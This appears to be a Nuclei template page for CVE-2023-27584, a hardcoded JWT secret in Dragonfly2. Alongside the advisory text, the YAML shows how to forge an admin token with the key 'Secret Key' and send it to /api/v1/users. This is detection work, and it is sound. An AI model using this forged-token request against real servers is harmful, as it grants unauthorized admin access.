Dragonfly2 < 2.1.0-beta.1 - Hardcoded JWT Secret
ID: CVE-2023-27584
Severity: critical
Author: iamnoooob,rootxharsh,pdresearch
Tags: cve,cve2023,dragonfly,exposure,jwt,secret
Description
Section titled “Description”Dragonfly is an open source P2P-based file distribution and image acceleration system. It is hosted by the Cloud Native Computing Foundation (CNCF) as an Incubating Level Project. Dragonfly uses JWT to verify user. However, the secret key for JWT, “Secret Key”, is hard coded, which leads to authentication bypass. An attacker can perform any action as a user with admin privileges. This issue has been addressed in release version 2.0.9. All users are advised to upgrade. There are no known workarounds for this vulnerability.
YAML Source
Section titled “YAML Source”id: CVE-2023-27584
info: name: Dragonfly2 < 2.1.0-beta.1 - Hardcoded JWT Secret author: iamnoooob,rootxharsh,pdresearch severity: critical description: | Dragonfly is an open source P2P-based file distribution and image acceleration system. It is hosted by the Cloud Native Computing Foundation (CNCF) as an Incubating Level Project. Dragonfly uses JWT to verify user. However, the secret key for JWT, "Secret Key", is hard coded, which leads to authentication bypass. An attacker can perform any action as a user with admin privileges. This issue has been addressed in release version 2.0.9. All users are advised to upgrade. There are no known workarounds for this vulnerability. reference: - https://github.com/advisories/GHSA-hpc8-7wpm-889w - https://github.com/dragonflyoss/Dragonfly2/releases/tag/v2.0.9 - https://github.com/dragonflyoss/Dragonfly2/security/advisories/GHSA-hpc8-7wpm-889w - https://nvd.nist.gov/vuln/detail/cve-2023-27584 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2023-27584 cwe-id: CWE-321 epss-score: 0.00043 epss-percentile: 0.09612 metadata: max-request: 1 verified: true tags: cve,cve2023,dragonfly,exposure,jwt,secret
variables: orig_iat: '{{to_unix_time(unixtime())}}' exp: '{{to_number(orig_iat)+4000 }}' payload: '{"id":1,"exp":{{exp}},"orig_iat":{{orig_iat}}}'
http: - raw: - | GET /api/v1/users HTTP/1.1 Host: {{Hostname}} Cookie: jwt={{generate_jwt(payload,"HS256","Secret Key") }}
matchers-condition: and matchers: - type: word part: body words: - '"id":' - '"created_at":' - '"updated_at":' - '"state":' condition: and
- type: word part: content_type words: - "application/json"
- type: status status: - 200# digest: 4a0a004730450220578711bb0d80b649fb9ea65dc9911d28ae8af8a99b3abef647aade5c7e30e1fe022100d4322b586d1ede00d0f5e0bdb6beed515f3553c6935c306ba5b92e2aba69b034:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-27584.yaml"